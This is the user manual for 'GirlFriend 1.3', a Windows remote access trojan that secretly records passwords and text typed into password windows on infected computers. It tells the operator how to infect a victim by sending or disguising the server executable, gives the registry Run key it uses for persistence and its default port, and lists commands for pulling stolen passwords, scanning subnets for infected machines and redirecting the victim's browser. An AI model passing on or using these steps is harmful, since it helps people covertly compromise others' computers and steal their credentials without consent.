GirlFriend 1.3

by General Failure

1. DESCRIPTION

Girlfriend is a program which allows you to get information on applications running on a remote PC.  That means that if any computer connected to net is infected with GirlFriend - you can connect to this PC and "steal" such information as:

- text, that "infected" user enters to any window containing password field;
- passwords, which "infected" user enters to password fields.

You also can:

- send "system" messages to remote PC;
- play sounds;
- show bitmaps (.bmp pictures);
- send "victim" to any URL;
- change server's port;
- hide GF Client with BOSSKEY=F12;
- scan subnet for infected servers;
- ping server;
- save windows list;
In future versions you'll find a file manager...

GirlFriend 1.3 pack includes:

a) GirlFriend Server (windll.exe) - this file is for "victim";
b) GirlFriend Client (gf.exe);
c) help text file (gf.txt)

2. HOW DOES IT WORK?

Girlfriend Server sits on infected computer and looks for windows in which user enters passwords.   Server writes these passwords with other text fields in that window to registry and send this list on your demand.

3. INFECTING

First you have to infect "victim":  if you haven't physical access to victim's PC - send him windll.exe. You may rename it and/or attach it to any other executable file using silkrope (you may take it on www.netninja.com/bo/silkrope.html). When victim executes this file, GirlFriend will write itself to Windows' directory and rename itself to windll.exe.

It also will write a string "Windll.exe=<windows' dir>\windll.exe" to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

in registry. GirlFriend Server will save all it's data in HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\General

Ones victim runs GirlFriend Server - it will run every time when victim loads Windows.    If you have physical access to victim's PC - just run GirlFriend Server on it!

4. CONNECTING FROM CLIENT

To connect to GirlFriend Server run Girlfriend Client (gf.exe) on your PC.
Then in field "IP:" enter IP address of infected computer.
In field "Port:" enter port which Girlfriend Server "sits" on (default=21554).
Then press "Connect" button.
When client connects to server in status bar "Connected to: <address>" appears. If there will be message like "Error connecting to <address>" - it means that server is not active (may be victim hadn't execute it?). You also can scan subnet for infected PC's writing IP like this: "194.83.11.1+ 254".

5. COMMANDS

When you are connected you can:

- press "Show Passes" button. It will show a list of processes (windows) containing password fields with passwords and other text field data in this window (e.g. window of remote access with Username, Password, Connection name, etc.).

- press "Send Message" button. There will appear a windows with types of system messages which you can show on remote computer.

- press "Reset Password List" button which deletes the server's password list in "victim's" registry.

- press "Custom" button to enter custom commands to server. Here the list of them (instead of words in parentheses you have to write specified data (without parentheses)):

TEST? - sends "Are you alive?" request to server. Server's answer in "Server's answers" list must be "Server is alive!"
ver - asks for server's version
KillHER - kills server (clears registry from server, but it doesn't delete windll.exe from Windows' directory)
{U}<URL> - sends "victim" to specified URL (begin with "http://")
{S}<sounfile> - plays specified "wav" file on "victim's" PC
{P}<bmpfile> - shows specified "bmp" file on "victim's" PC
DOWN - switches "looking for passwords" timer on server OFF (server won't scan for passwords)
UP - switches "looking for passwords" timer ON
setport<port> - sets server port to specified one (identic to pressing "change" button)

That's all I think... I don't remember more :)
You can press F12 to tray client and then press on tray icon with right button to use these commands from popup menu.
Press "About" button to know "more" about this program.
Press "Save list" to save windows & passwords list to text file.

Enjoy!

Regards,
General Failure.

P.S. Oh! I have forgotten to notice that it also takes passwords from Web sites which infected user inputs!